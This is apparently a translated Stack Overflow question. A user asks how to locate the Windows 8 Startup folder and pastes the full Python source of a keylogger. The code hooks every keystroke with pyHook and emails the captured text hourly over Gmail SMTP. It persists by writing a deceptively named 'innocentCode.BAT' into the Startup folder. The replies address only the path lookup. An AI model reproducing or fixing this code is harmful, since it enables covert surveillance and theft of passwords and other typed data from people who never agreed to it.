我有一個代碼將一個批處理文件添加到啓動文件夾中,以便它在計算機啓動時運行。 我的代碼如下:使用python在windows 8中查找啓動文件夾
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Batch.BAT' %win32api.GetUserName()
f = open(path, 'w')
這只是正常在Win 7,但Win8的啓動文件夾感動,我無法找到訪問它。 如何找到放入的正確文件夾? 謝謝 艾薩克
UPDATE:我的代碼工作,當它是.pyw運行,但一旦我把它交給.EXE它不...這個我不明白
全部代碼:
import win32api
import sys
import pythoncom, pyHook
import time
import smtplib
import thread
import re
import os
global text
global start
def main():
global text
global start
text = ''
start = time.time()
AddToStartUp(fixpath(findDirectory()))
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def sendemail(from_addr, to_addr_list, cc_addr_list,
subject, message,
login, password,
smtpserver='smtp.gmail.com:587'):
header = 'From: %s\n' % from_addr
header += 'To: %s\n' % ','.join(to_addr_list)
header += 'Cc: %s\n' % ','.join(cc_addr_list)
header += 'Subject: %s\n\n' % subject
message = header + message
server = smtplib.SMTP(smtpserver)
server.starttls()
server.login(login,password)
problems = server.sendmail(from_addr, to_addr_list, message)
server.quit()
return problems
def OnKeyboardEvent(event):
global start
global text
text += chr(event.Ascii)
print text
if time.time()-start > 3600:
thread.start_new_thread(sendemail, ('email','email','','Keylogger',text,'email','password'))
start = time.time()
return True
def fixpath(path):
arr = re.split(r'\\', path)
direct = ''
for i in arr:
direct += i + '\\'
return direct
def AddToStartUp(direct):
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\innocentCode.BAT' %win32api.GetUserName()
f = open(path, 'w')
f.write("""cd %s\nstart keylogger\nexit"""%direct)
def findDirectory():
return os.path.dirname(os.path.realpath(__file__))
if __name__ == "__main__":
main()
作爲一個相關的說明,您不應該假定配置文件目錄是'C:\ Users'。使用像'%USERPROFILE%'或'%APPDATA%'這樣的環境變量。 – 2014-11-25 13:15:24
Windows中有API來獲取此信息。檢查Python庫以獲取此類操作系統信息的暴露情況。 – Richard 2014-11-25 13:18:05
你能給我一個代碼示例嗎?我是相當新的python,不知道我如何與他們合作 – Isaac1492 2014-11-25 13:28:00